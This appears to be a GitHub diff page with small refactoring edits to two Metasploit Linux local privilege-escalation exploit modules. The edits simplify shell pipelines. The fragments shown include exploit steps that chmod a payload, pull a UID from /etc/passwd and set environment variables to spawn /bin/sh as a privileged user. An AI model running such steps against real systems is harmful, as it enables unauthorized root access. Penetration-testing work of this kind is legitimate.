File tree Expand file tree Collapse file tree 2 files changed +4
-4
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 2 files changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -93,7 +93,7 @@ def exploit
93
93
# Profit
94
94
print_status ( "Exploiting..." )
95
95
cmd_exec ( "chmod +x #{ payload_path } " )
96
- cmd_exec ( "LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`" )
96
+ cmd_exec ( "LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`" )
97
97
cmd_exec ( "export MUID=$LXLABS" )
98
98
cmd_exec ( "export GID=$LXLABS" )
99
99
cmd_exec ( "export TARGET=/bin/sh" )
Original file line number Diff line number Diff line change @@ -62,20 +62,20 @@ def initialize(info = {})
62
62
63
63
def check
64
64
def iptables_loaded? ( )
65
- # user@ubuntu:~$ cat /proc/modules | grep ip_tables
65
+ # user@ubuntu:~$ grep ip_tables /proc/modules
66
66
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
67
67
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
68
68
vprint_status ( 'Checking if ip_tables is loaded in kernel' )
69
69
if target . name == "Ubuntu"
70
- iptables = cmd_exec ( 'cat /proc/modules | grep ip_tables ' )
70
+ iptables = cmd_exec ( 'cat /proc/modules' )
71
71
if iptables . include? ( 'ip_tables' )
72
72
vprint_good ( 'ip_tables.ko is loaded' )
73
73
else
74
74
print_error ( 'ip_tables.ko is not loaded. root needs to run iptables -L or similar command' )
75
75
end
76
76
return iptables . include? ( 'ip_tables' )
77
77
elsif target . name == "Fedora"
78
- iptables = cmd_exec ( 'cat /proc/modules | grep iptable_raw ' )
78
+ iptables = cmd_exec ( 'cat /proc/modules' )
79
79
if iptables . include? ( 'iptable_raw' )
80
80
vprint_good ( 'iptable_raw is loaded' )
81
81
else
You can’t perform that action at this time.
0 commit comments